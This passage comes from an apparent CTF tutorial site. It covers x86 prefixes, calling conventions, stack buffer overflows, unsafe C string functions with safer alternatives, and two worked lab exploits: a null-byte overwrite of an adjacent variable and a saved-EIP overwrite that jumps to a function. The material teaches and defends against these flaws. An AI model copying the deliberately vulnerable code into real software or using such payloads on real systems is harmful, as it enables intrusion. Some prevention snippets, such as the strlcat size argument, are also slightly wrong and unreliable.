| **REP**                      | This prefix can be used to repeat the instruction that follows it a specified number of times.                                             |
| **`REPE / REPZ`**            | This prefix can be used to repeat the instruction that follows it until the zero flag is set.                                              |
| **`REPNE / REPNZ`**          | This prefix can be used to repeat the instruction that follows it until the zero flag is not set.                                          |
| **LOCK**                     | This prefix can be used to ensure that the instruction that follows it is executed atomically, without interruption by other instructions. |
| **`CS, DS, ES, FS, GS, SS`** | These prefixes can be used to specify the segment register that should be used for the instruction that follows it.                        |
| **OPSIZE**                   | This prefix can be used to specify the operand size for the instruction that follows it.                                                   |
| **ADDRSIZE**                 | This prefix can be used to specify the address size for the instruction that follows it.                                                   |

{% hint style="info" %}
These prefix instructions can be used in combination with other instructions to modify their behavior or provide additional information. For example, the **`REP`** prefix can be used with the **`MOVS`** instruction to repeat the string copy operation a specified number of times, while the **`LOCK`** prefix can be used with the **`XCHG`** instruction to ensure that the exchange operation is atomic.
{% endhint %}

> ## Resources

{% embed url="<https://cdrdv2-public.intel.com/671200/325462-sdm-vol-1-2abcd-3abcd.pdf>" %}
Intel® 64 and IA-32 Architectures Software Developer’s Manual
{% endembed %}


# Calling convention

The calling convention is a set of rules that defines how functions are called and how arguments are passed between functions in a program. The calling convention specifies the order in which arguments are passed to a function, the location where the return value is stored, and other details that are necessary for functions to communicate with each other.

On the x86 architecture, there are several different calling conventions that are used, depending on the operating system and the type of function being called. Some of the most commonly used calling conventions on the x86 architecture include:

* **cdecl**: This calling convention is used for functions written in C or C++. It is the default calling convention on the x86 architecture. In this convention, arguments are passed to the function on the stack, and the caller is responsible for cleaning up the stack after the function returns.
* **stdcall**: This calling convention is also used for functions written in C or C++. It is similar to the cdecl convention, but the callee is responsible for cleaning up the stack after the function returns. This calling convention is often used for functions that are exported from dynamic link libraries (DLLs).
* **fastcall**: This calling convention is an optimization of the cdecl convention. It is used for functions that are called frequently and that do not take many arguments. In this convention, the first two arguments are passed in registers, and any additional arguments are passed on the stack.
* **thiscall**: This calling convention is used for member functions in C++ classes. It is similar to the stdcall convention, but the this pointer is passed in the ECX register rather than on the stack.

Overall, the x86 architecture supports a wide range of calling conventions, which allows it to be used in a variety of programming languages and environments.


# Stack exploitation


# Stack Buffer Overflow

## How it works ?

A buffer overflow occurs when a program tries to store more data in a buffer (a temporary storage area in memory) than it is designed to hold. This can cause the data to overwrite other parts of memory, potentially allowing an attacker to execute arbitrary code or crash the program.

Here is an example of a buffer overflow vulnerability in C:

```c
char buffer[16];

printf("Enter a string: ");
scanf("%s", buffer);
```

Here is a diagram showing the buffer in memory:

```
  address   |   values
------------+-------------------------------------------------------------------
            |   +------------------------- buffer ---------------------------+
0xffffd280: |   | 0x01	0x00	0x00	0x00	0x54	0xd3	0xff	0xff |
0xffffd288: |   | 0x5c	0xd3	0xff	0xff	0xad	0x62	0x55	0x56 |
            |   +------------------------------------------------------------+
0xffffd290: |    0xb0	0xd2	0xff	0xff	0x00	0x00	0x00	0x00
0xffffd298: |    0x00	0x00	0x00	0x00	0x46	0xce	0xdd	0xf7
  ...       |    ...
```

Initially, the `buffer` occupies a 16-byte area in memory and is empty. When the user enters the string "`ABCDEFGHIJKLMNOPQRSTUVWCYZ`", it is stored in the `buffer`, causing a **buffer overflow** because the string is 26 bytes long, which is more than the size of the `buffer` which is 16 bytes:

```
  address   |   values
------------+-------------------------------------------------------------------
            |   +------------------------- buffer ---------------------------+
0xffffd280: |   | 0x41	0x42	0x43	0x44	0x45	0x46	0x47	0x48 |
0xffffd288: |   | 0x49	0x50	0x51	0x52	0x53	0x54	0x55	0x56 |
            |   +------------------------------------------------------------+
            |   +------------------------ OVERFLOW --------------------------+
0xffffd290: |   | 0x57	0x58	0x59	0x60	0x61	0x62	0x63	0x64 |
            |   |             +----------------------------------------------+
0xffffd298: |   | 0x65	0x66  |	0x00	0x00	0x46	0xce	0xdd	0xf7
            |   +-------------+
  ...       |    ...
```

## How to prevent ?

There are several ways to prevent buffer overflow vulnerabilities in your programs. Some of the most common methods include the following:

* **Use safe string functions:** Instead of using the standard C string functions, which do not perform bounds checking, you can use safe string functions such as strncpy(), strncat(), and snprintf() that allow you to specify the maximum number of characters to copy or concatenate. This ensures that the destination buffer will not be overflowed.

```c
char buffer[16];

// Use strncpy() to copy at most 15 characters from src to buffer
strncpy(buffer, src, 15);

// Use strncat() to concatenate at most 15 characters from src to buffer
strncat(buffer, src, 15);

// Use snprintf() to write at most 15 characters from src to buffer
snprintf(buffer, 15, "%s", src);
```

* Check the length of input strings: Before copying input strings into a buffer, you should check their length to ensure that they do not exceed the size of the buffer. If the input string is too long, you can either truncate it or allocate a larger buffer to hold it.

```c
char buffer[16];

// Use scanf() to read at most 50 characters into buffer
scanf("%15s", buffer);
```

* Use a modern compiler: Modern compilers, such as GCC and Clang, have features that can help prevent buffer overflows. For example, they can automatically insert runtime checks to ensure that buffer accesses do not exceed the bounds of the allocated memory.

<pre class="language-bash"><code class="lang-bash">// Use the -fstack-protector flag when compiling with GCC or Clang
<strong>gcc -fstack-protector myprogram.c
</strong>clang -fstack-protector myprogram.c
</code></pre>


# Dangerous functions

The following functions are known to be vulnerable to buffer overflows:

{% content-ref url="/pages/cIWABwoUb9qSFAnnzGiL" %}
[gets](/pwn/stack-exploitation/stack-buffer-overflow/dangerous-functions/gets)
{% endcontent-ref %}

{% content-ref url="/pages/p4a9lm1J9f59kSyuRWZ3" %}
[memcpy](/pwn/stack-exploitation/stack-buffer-overflow/dangerous-functions/memcpy)
{% endcontent-ref %}

{% content-ref url="/pages/FabVtX780aC9AqZuGpbn" %}
[sprintf](/pwn/stack-exploitation/stack-buffer-overflow/dangerous-functions/sprintf)
{% endcontent-ref %}

{% content-ref url="/pages/qxsHYL2Sy0GL6pt5SzSM" %}
[strcat](/pwn/stack-exploitation/stack-buffer-overflow/dangerous-functions/strcat)
{% endcontent-ref %}

{% content-ref url="/pages/alItBy3vpFuhEXXnfQlB" %}
[strcpy](/pwn/stack-exploitation/stack-buffer-overflow/dangerous-functions/strcpy)
{% endcontent-ref %}


# gets

## Prototype

```c
char* gets(char* s);
```

This function reads a line of input from the standard input stream (stdin) and stores it in the array pointed to by `s`, until either a newline character or the end-of-file is reached. The newline character is replaced with a null character.

## Vulnerable example

```c
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buffer[16];  // create a buffer with 16 bytes of storage

    printf("Enter a string: ");
    gets(buffer);  // read input from the user and store it in buffer

    printf("You entered: %s\n", buffer);  // print the contents of buffer

    return 0;
}
```

This code creates a buffer with a fixed size of 16 bytes, and then uses the `gets` function to read input from the user and store it in the buffer. However, `gets` does not check the length of the input, so if the user enters more than 16 characters, the extra characters will overflow the buffer and potentially overwrite other areas of memory, which can lead to unpredictable behavior and security vulnerabilities.

## Prevent&#x20;

To prevent buffer overflow vulnerabilities, it is important to use functions that are designed to check the length of input and limit the amount of data that is read. In this case, the recommended alternative to `gets` is `fgets`, which takes an additional argument specifying the maximum number of characters to read.

```c
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buffer[16];  // create a buffer with 16 bytes of storage

    printf("Enter a string: ");
    fgets(buffer, sizeof(buffer), stdin);  // read input from the user and store it in buffer

    // remove the newline character from the end of the string
    int length = strlen(buffer);
    if (buffer[length - 1] == '\n')
        buffer[length - 1] = '\0';

    printf("You entered: %s\n", buffer);  // print the contents of buffer

    return 0;
}
```

This code creates a buffer with a fixed size of 16 bytes, and then uses the `fgets` function to read input from the user and store it in the buffer. The `fgets` function takes an additional argument specifying the maximum number of characters to read, which in this case is set to the size of the buffer. This ensures that `fgets` will not read more characters than the buffer can hold, preventing a buffer overflow.

{% hint style="info" %}
Note that the `fgets` function includes the newline character in the input, so the code above removes the newline character from the end of the string before printing it.
{% endhint %}

&#x20;


# memcpy

## Prototype

```c
void* memcpy(void* dest, const void* src, size_t n);
```

This function copies `n` bytes from the memory location pointed to by `src` to the memory location pointed to by `dest`. The `dest` and `src` arrays must not overlap, and the `dest` array must be large enough to hold `n` bytes.

## Vulnerable example

```c
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
  char buffer[8];
  memcpy(buffer, argv[1], strlen(argv[1]));
  return 0;
}
```

In this code, the `memcpy` function is used to copy the contents of `argv[1]` (a command line argument) into the `buffer` array, which has a fixed size of 8 bytes. If the length of `argv[1]` is greater than 8 bytes, it will overwrite memory beyond the bounds of the `buffer` array, potentially causing a buffer overflow.

## Prevent

Use the `strnlen` function to determine the length of the source string, and pass this value as the size parameter to `memcpy`. For example:

```c
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
  char buffer[8];
  size_t len = strnlen(argv[1], sizeof(buffer));
  memcpy(buffer, argv[1], len);
  return 0;
}
```

This will ensure that the `memcpy` function only copies up to the maximum size of the buffer, preventing a buffer overflow.

1. Use the `memmove` function instead of `memcpy`. `memmove` is similar to `memcpy`, but it can handle overlapping memory regions, which makes it more suitable for cases where the source and destination buffers may overlap.
2. Use the `strlcpy` function, which is a variant of `strcpy` that includes a size parameter. `strlcpy` copies up to the specified size, and ensures that the destination string is null terminated.

For example:

```c
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
  char buffer[8];
  strlcpy(buffer, argv[1], sizeof(buffer));
  return 0;
}
```

Using any of these methods can help prevent buffer overflow vulnerabilities when using the `memcpy` function.


# sprintf

## Prototype

```c
int sprintf(char* str, const char* format, ...);
```

This function writes a formatted string to the array pointed to by `str`. The `format` argument is a string that specifies how the subsequent arguments are formatted. The `...` indicates that the function can take a variable number of arguments.

## Vulnerable example

```c
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
  char buffer[8];
  sprintf(buffer, "%s", argv[1]);
  return 0;
}
```

{% hint style="info" %}
In this code, the `sprintf` function is used to copy the contents of `argv[1]` (a command line argument) into the `buffer` array, which has a fixed size of 8 bytes. If the length of `argv[1]` is greater than 8 bytes, it will overwrite memory beyond the bounds of the `buffer` array, potentially causing a buffer overflow.
{% endhint %}

## Prevent

To prevent this vulnerability, the program should ensure that the length of the data being written to the buffer is within the bounds of the buffer's size. For example, the following code uses `snprintf` (a variant of `sprintf` that includes a size parameter) to ensure that the data being written to the buffer does not exceed its size:

```c
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
  char buffer[8];
  snprintf(buffer, sizeof(buffer), "%s", argv[1]);
  return 0;
}
```

{% hint style="info" %}
Using `snprintf` ensures that the data written to the `buffer` array does not exceed its size, and prevents a buffer overflow vulnerability.&#x20;
{% endhint %}


# strcat

## Prototype

```c
char* strcat(char* dest, const char* src);
```

This function appends a copy of the string pointed to by `src` (including the terminating null character) to the end of the string pointed to by `dest`. The `dest` array must be large enough to hold the combined strings, including the terminating null character.

## Vulnerable example

```c
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
  char buffer[10];
  strlcpy(buffer, argv[1], sizeof(buffer));

  // The strcat function concatenates the second string to the end of the first
  // string. It does not check for buffer overflows, so if the first string is
  // not large enough to hold the second string, it will write beyond the bounds
  // of the buffer, potentially leading to a buffer overflow vulnerability.

  strcat(buffer, argv[2]);
  
  printf("%s\n", buffer);
  return 0;
}
```

## Prevent

To prevent this vulnerability, use the `strlcat` function instead of `strcat` to concatenate the second string to the end of the `buffer` string.&#x20;

The `strlcat` function allows to specify the maximum number of characters to be copied from the source string and ensure that the destination string is always null-terminated , which can help to prevent the destination buffer from being overrun with data.

```c
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
  char buffer[10];
  strlcpy(buffer, argv[1], sizeof(buffer));

  strlcat(buffer, argv[2], sizeof(buffer) - strlen(buffer) - 1);

  printf("%s\n", buffer);
  return 0;
}
```

{% hint style="info" %}
In this example, the `strlcat` function is used to concatenate the second string stored in `argv[2]` to the end of the `buffer` string. The third argument to `strlcat` specifies the maximum number of characters to be copied from the source string. This value is calculated by subtracting the length of the `buffer` string from the size of the `buffer` array and then subtracting 1 to leave room for the null-terminator.
{% endhint %}

## &#x20;


# strcpy

## Prototype&#x20;

```c
char * strcpy(char * dest, const char * src)
```

This function copies the string pointed to by `src` (including the terminating null character) to the array pointed to by `dest`. The `dest` array must be large enough to hold the entire string, including the terminating null character.

## Vulnerable example

```c
#include <string.h>

int main(int argc, char* argv[])
{
    char buffer[10];
    strcpy(buffer, argv[1]);
    return 0;
}
```

{% hint style="info" %}
In this example, the `buffer` array is defined with a size of 10 bytes, but the `strcpy` function is used to copy the first command-line argument (which is passed to the program as `argv[1]`) into the buffer without checking the length of the argument. If the first command-line argument is longer than 10 bytes, `strcpy` will write beyond the bounds of the `buffer` array, potentially causing a buffer overflow.
{% endhint %}

## Prevent

To prevent this vulnerability  use the `strlcpy` function instead of `strcpy`. `strlcpy` is similar to `strcpy`, but it takes an additional argument that specifies the maximum number of characters to copy and ensure that the destination string is always null-terminated. This ensure that `strlcpy` does not write beyond the bounds of the destination buffer.

```c
#include <string.h>

int main(int argc, char* argv[])
{
    char buffer[10];
    strlcpy(buffer, argv[1], sizeof(buffer));
    return 0;
}
```

{% hint style="info" %}
In this example, the `strlcpy` function copies at most `sizeof(buffer) - 1` characters from `argv[1]` to `buffer.`
{% endhint %}

It is also a good idea to check the length of `argv[1]` before calling `strlcpy`, to ensure that it is not longer than `sizeof(buffer) - 1` characters. This can help to prevent a buffer overflow if the user passes a very long command-line argument to the program.

```c
#include <string.h>

int main(int argc, char* argv[])
{
    char buffer[10];
    if (strlen(argv[1]) >= sizeof(buffer))
    {
        // Handle error - argv[1] is too long
    }
    else
    {
        strlcpy(buffer, argv[1], sizeof(buffer));
    }
    return 0;
}
```


# Basics

Data overwrite

With a buffer overflow, it's possible to overwrite values into the stack. The most popular beginner challenge aim to overwrite a value of another variable.

## How it works ?&#x20;

Each variables stored into the stack need have a fix allocated space into it depending on the variable declaration, here is some examples :&#x20;

* `int a;`  --> Will allocate 4 bytes
* `char a;` --> Will allocate 1 byte
* `char a[16];` -->Wil allocate 16 bytes
* `long a;` --> Will allocate 8 bytes
* etc.

{% hint style="info" %}
All defined variables are in fact pointers to a position in memory, here into the stack.&#x20;
{% endhint %}

When a data is written into a variable, the data is written from the pointed address to the end of the variable length

```c
char a[16];
strcpy(a, "AAAAAAAAAAAAAAA"); // write 15 A
```

The process will allocate 16 bytes onto the stack and return the pointers ( ex: `0xffffd4dc`)

And then the 15 `A` will be write from this address&#x20;

```
  address   |   values
------------+-------------------------------------------------------------------
            |   +--------------------------- a ------------------------------+
0xffffd4dc: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4e4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x00 |
            |   +------------------------------------------------------------+
            |   +------------------------------------------------------------+
0xffffd4ec: |   | 0x53  0x75    0x70    0x65    0x72    0x50    0x61    0x73 |
0xffffd4f4: |   | 0x73  0x77    0x6f    0x72    0x64    0x21    0x21    0x00 |
            |   +------------------------------------------------------------+
  ...       |    ...
```

But what happens if more than 16 bytes will be written ?&#x20;

```c
char a[16];
strcpy(a, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); // write 31 A
```

```
  address   |   values
------------+-------------------------------------------------------------------
            |   +--------------------------- a ------------------------------+
0xffffd4dc: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4e4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
            |   +------------------------------------------------------------+
            |   +------------------------------------------------------------+
0xffffd4ec: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4f4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x00 |
            |   +------------------------------------------------------------+
  ...       |    ...
```

{% hint style="success" %}
The data after the `a` space are overwritten
{% endhint %}

This can happen when the program use a [dangerous function](/pwn/stack-exploitation/format-string/dangerous-functions) or any other method to store data (most of the time user input) into the stack without any size control a buffer overflow can occur.&#x20;


# Challenge example

## Code source exemple

{% tabs %}
{% tab title="Vulnerable" %}

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void) {
    char passwd[16] = "";  // array to store the username
    char password[16] = ""; // array to store the password

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    printf("Enter the password: ");
    scanf("%s", password);  // read the password from the user

    if (strcmp(password, passwd) == 0) {
        printf("good job\n");
    } else {
        printf("permission denied\n");
    }

    return 0;
}
```

{% endtab %}

{% tab title="Patched" %}

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void) {
    char passwd[16] = "";  // array to store the username
    char password[16] = ""; // array to store the password

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    printf("Enter the password: ");
    scanf("%15s", password);  // read the password from the user

    if (strcmp(password, passwd) == 0) {
        printf("good job\n");
    } else {
        printf("permission denied\n");
    }

    return 0;
}
```

{% endtab %}
{% endtabs %}

The objectif is to dectect the buffer overflow and exploit it to print "good job".

## Exploitation

This program is vulnerable to Buffer Overflow. In this case, the `password` array has a size of 16 characters, but the program does not check the length of the input entered by the user. This means that if the user enters a password that is longer than 15 characters, it will overwrite adjacent memory locations.

As explained in the "[operation of the stack](/pwn/general-knowledge/operation-of-the-stack)" part, variables are stored into the stack in the same order that they are declared :

```bash
$ ./chall
Enter the password: AAAAAAAAAAAAAAA
```

```
  address   |   values
------------+-------------------------------------------------------------------
            |   +------------------------ password --------------------------+
0xffffd4dc: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4e4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x00 |
            |   +------------------------------------------------------------+
            |   +------------------------- passwd ---------------------------+
0xffffd4ec: |   | 0x53  0x75    0x70    0x65    0x72    0x50    0x61    0x73 |
0xffffd4f4: |   | 0x73  0x77    0x6f    0x72    0x64    0x21    0x21    0x00 |
            |   +------------------------------------------------------------+
  ...       |    ...
```

If the input password is longer than 15 characters, the passwd value can be overwrite :

```
$ ./chall
Enter the password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
  address   |   values
------------+-------------------------------------------------------------------
            |   +------------------------ password --------------------------+
0xffffd4dc: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4e4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
            |   +------------------------------------------------------------+
            |   +------------------------- passwd ---------------------------+
0xffffd4ec: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4f4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
            |   +------------------------------------------------------------+
  ...       |    ...
```

{% hint style="info" %}
Here, password and passwd reserved memory onto the stack have the same value ( 16\* 0x41 ) but this doesn't pass the if condition. This appears because although memory space is reserved for the variable, when reading a string, the end is defined by the `0x00` byte. So, until this byte is not present, the process continues to read memory, even beyond the initially reserved space for the variable. Thus, `password` = 32 \* `0x41` and `passwd` = 16 \* `0x41`

In order to pass the if condition, `password` and `passwd need to hjave the same value, to do that, it's needed to inject a null byte in the input.`
{% endhint %}

```bash
$ python3 -c "print('A' * 15 + '\0' + 'A'*15)" | ./chall    
Enter the password: good job
```

Now the stack is composed as the following :

```
 address   |   values
------------+-------------------------------------------------------------------
            |   +------------------------ password --------------------------+
0xffffd4dc: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4e4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x00 |
            |   +------------------------------------------------------------+
            |   +------------------------- passwd ---------------------------+
0xffffd4ec: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x41 |
0xffffd4f4: |   | 0x41  0x41    0x41    0x41    0x41    0x41    0x41    0x00 |
            |   +------------------------------------------------------------+
  ...       |    ...
```

## Exercice

If you want to try this exploit by yourself, you can pull [this docker image](https://hub.docker.com/r/thectfrecipes/pwn/general) :

```
docker pull thectfrecipes/pwn:basics
```

Deploy the image using the followed command :

```
docker run --name thectfrecipes_buffer_overflow_basics -it --rm -d -p 3000:3000 thectfrecipes/pwn:basics
```

Access to the web shell with your browser at the address : `http://localhost:3000/`

```
login: challenge
password: password
```


# Instruction pointer Overwrite

Arbitrary Instruction redirection

## How it works ?

As explained in the "[STACK](/pwn/general-knowledge/operation-of-the-stack/stack-frame)" part, at the call of the function the process store the value of the instruction pointer onto the stack. Thus, there is always the saved instruction pointer at the end of a function stack frame.

```
   address     |   values
---------------+------------------------------------------------------------------
               |   +---------------- Function stack frame -------------------+
               |   | +------------- stack vars -------------+ +-saved ebp -+ |
   0xffffd264  |   | | 0x00000000   0x00000000   0x00000000 | | 0xffffd298 | | 
               |   | +--------------------------------------+ +------------+ |
               |   +---------------------------------------------------------+
               |   +-------------------- main stack frame -------------------+
               |   | +-saved eip -+ +---- function params ---+               |
   0xffffd274: |   | | 0x565561dd | | 0x00000001  0x00000002 |	0x00000001   |
               |   | +------------+ +------------------------+               |
```

If a buffer overflow occur within the function, it might be possible to overwrite the saved registers

```
   address     |   values
---------------+------------------------------------------------------------------
               |   +---------------- Function stack frame -------------------+
               |   | +------------- stack vars -------------+ +-saved ebp -+ |
   0xffffd264  |   | | 0x41414141   0x41414141   0x41414141 | | 0x41414141 | | 
               |   | +--------------------------------------+ +------------+ |
               |   +---------------------------------------------------------+
               |   +-------------------- main stack frame -------------------+
               |   | +-saved eip -+ +---- function params ---+               |
   0xffffd274: |   | | 0x41414141 | | 0x00000001  0x00000002 |	0x00000001   |
               |   | +------------+ +------------------------+               |
```

{% hint style="info" %}
In this example, a buffer overflow occur at the variable stored at `0xffffd264` . 20 'A' have been send to entirely overwrite the saved `EIP` register
{% endhint %}


# Challenge example

{% hint style="info" %}
This is a basic learning stuff to begin into buffer overflow exploitation. To simplify, all protection such as PIE will be deactivated.
{% endhint %}

## Code source example

{% tabs %}
{% tab title="Vulnerable" %}

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void printSecret(void) {
    printf("Good job !\n");
}

void checkPassword(char *password) {
    char passwd[16] = "";  // array to store the password

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    if (strcmp(password, passwd) == 0) {
        printSecret();
    } else {
        printf("Permission denied !\n");
    }
}

void getPassword(void) {
    char password[16] = "";

    printf("Enter password: ");
    scanf("%s", password);  // read the password from the user
 
    checkPassword(password);

}

int main() {

    getPassword();
    
    return 0;
}
```

{% endtab %}

{% tab title="Patched" %}

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void printSecret(void) {
    printf("Good job !\n");
}

void checkPassword(char *password) {
    char passwd[16] = "";  // array to store the password

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    if (strcmp(password, passwd) == 0) {
        printSecret();
    } else {
        printf("Permission denied !\n");
    }
}

void getPassword(void) {
    char password[16] = "";

    printf("Enter password: ");
    scanf("%15s", password);  // read the password from the user
 
    checkPassword(password);

}

int main() {

    getPassword();
    
    return 0;
}
```

{% endtab %}
{% endtabs %}

Here the objectif is to exploit the buffer overflow in order to execute the `printSecret` function.

## Exploitation

This program is vulnerable to Buffer Overflow. In this case, the `password` array has a size of 16 characters, but the program does not check the length of the input entered by the user. This means that if the user enters a password that is longer than 15 characters, it will overwrite adjacent memory locations.

Here, `password` is set alone into a specific function, so it's not possible to overwrite the `passwd` variable in order to match the if condition.

However, As explained in the "[operation of the stack](/pwn/general-knowledge/operation-of-the-stack)" part, at the call of the function the process store the value of the instruction pointer onto the stack. Thus, even though the `password` variable is the first declared variable into the stack frame, there is the saved instruction pointer under it.

```
   address     |   values
---------------+------------------------------------------------------------------
               |   +---------------- HelloWorld stack frame -----------------+
               |   | +------------ stack marge -------------+ +-saved ebp -+ |
   0xffffd264  |   | | 0x00000000   0x00000000   0x00000000 | | 0xffffd298 | | 
               |   | +--------------------------------------+ +------------+ |
               |   +---------------------------------------------------------+
               |   +-------------------- main stack frame -------------------+
               |   | +-saved eip -+ +---- function params ---+               |
   0xffffd274: |   | | 0x565561dd | | 0x00000001  0x00000002 |	0x00000001   |
               |   | +------------+ +------------------------+               |
```

Let's analyze the compiled code :

```wasm
0x0804926a <+0>:	push   ebp
0x0804926b <+1>:	mov    ebp,esp
0x0804926d <+3>:	sub    esp,0x18
0x08049270 <+6>:	mov    DWORD PTR [ebp-0x18],0x0
0x08049277 <+13>:	mov    DWORD PTR [ebp-0x14],0x0
0x0804927e <+20>:	mov    DWORD PTR [ebp-0x10],0x0
0x08049285 <+27>:	mov    DWORD PTR [ebp-0xc],0x0
0x0804928c <+34>:	sub    esp,0xc
0x0804928f <+37>:	push   0x804a031
0x08049294 <+42>:	call   0x8049040 <printf@plt>
0x08049299 <+47>:	add    esp,0x10
0x0804929c <+50>:	sub    esp,0x8
0x0804929f <+53>:	lea    eax,[ebp-0x18]
0x080492a2 <+56>:	push   eax
0x080492a3 <+57>:	push   0x804a042
0x080492a8 <+62>:	call   0x80490a0 <__isoc99_scanf@plt>
0x080492ad <+67>:	add    esp,0x10
0x080492b0 <+70>:	sub    esp,0xc
0x080492b3 <+73>:	lea    eax,[ebp-0x18]
0x080492b6 <+76>:	push   eax
0x080492b7 <+77>:	call   0x80491db <checkPassword>
0x080492bc <+82>:	add    esp,0x10
0x080492bf <+85>:	nop
0x080492c0 <+86>:	leave  
0x080492c1 <+87>:	ret
```

Here the process take 0x18 bytes of marge. (`0x0804926d <+3>: sub esp,0x18`). remember that in the source code, the `password` variable is 16 byte long (0xf), so there is :

{% hint style="info" %}
We insert 16 times 0x41 into password in order to make it easier to view it.
{% endhint %}

```
 address     |   values
---------------+------------------------------------------------------------------
               |    +--------------------- password -----------------------+
   0xffffd260  |    | 0x41414141   0x41414141    0x41414141     0x41414141 |
               |    +------------------------------------------------------+
               |    +------ stack marge -----+ +-saved ebp -+ +-saved eip -+
   0xffffd270  |    | 0x00000000  0x00000000 | | 0xffffd298 | | 0x565561dd |
               |    +------------------------+ +------------+ +------------+
```

{% hint style="info" %}
In order to overwrite EIP, the input must also overload the margin and EBP, which is password (16) + marge (8) + EBP (4) + targeted adress
{% endhint %}

It's possible to recover the addresse of the first instruction of the `printSecret`function :

```wasm
gdb-peda$ disas printSecret 
Dump of assembler code for function printSecret:
   0x080491c2 <+0>:	push   ebp
   0x080491c3 <+1>:	mov    ebp,esp
   0x080491c5 <+3>:	sub    esp,0x8
   0x080491c8 <+6>:	sub    esp,0xc
   0x080491cb <+9>:	push   0x804a008
   0x080491d0 <+14>:	call   0x8049070 <puts@plt>
   0x080491d5 <+19>:	add    esp,0x10
   0x080491d8 <+22>:	nop
   0x080491d9 <+23>:	leave  
   0x080491da <+24>:	ret    
End of assembler dump.
```

{% hint style="info" %}
The address of the first instruction is `0x080491c2`
{% endhint %}

Therefore the input to jump in is "A" \* (16+8+4) + "\xc2\x91\x04\x08"

```bash
$ echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc2\x91\x04\x08" | ./chall
Enter password: Permission denied !
Good job !
Segmentation fault
```

{% hint style="info" %}
The address should be sent in little endian here. See [Endianness](/pwn/general-knowledge#addresses-endianness)
{% endhint %}

{% hint style="success" %}
the exploit work because, when the process end the `getPassword` function, it will restore the instruction pointer with the value saved into the stack, but this value was overloaded with a controled value. Thus the instruction pointer now target an arbitrary address unless the expeted next instruction.
{% endhint %}

## Exercice

If you want to try this exploit by yourself, you can pull [this docker image](https://hub.docker.com/r/thectfrecipes/pwn/general) :

```
docker pull thectfrecipes/pwn:eip_overwrite
```

Deploy the image using the followed command :

```
docker run --name buffer_overflow_eip_overwrite -it --rm -d -p 3000:3000 thectfrecipes/pwn:eip_overwrite
```

Access to the web shell with your browser at the address : `http://localhost:3000/`

```
login: challenge
password: password
```




---

[Next Page](/llms-full.txt/1)

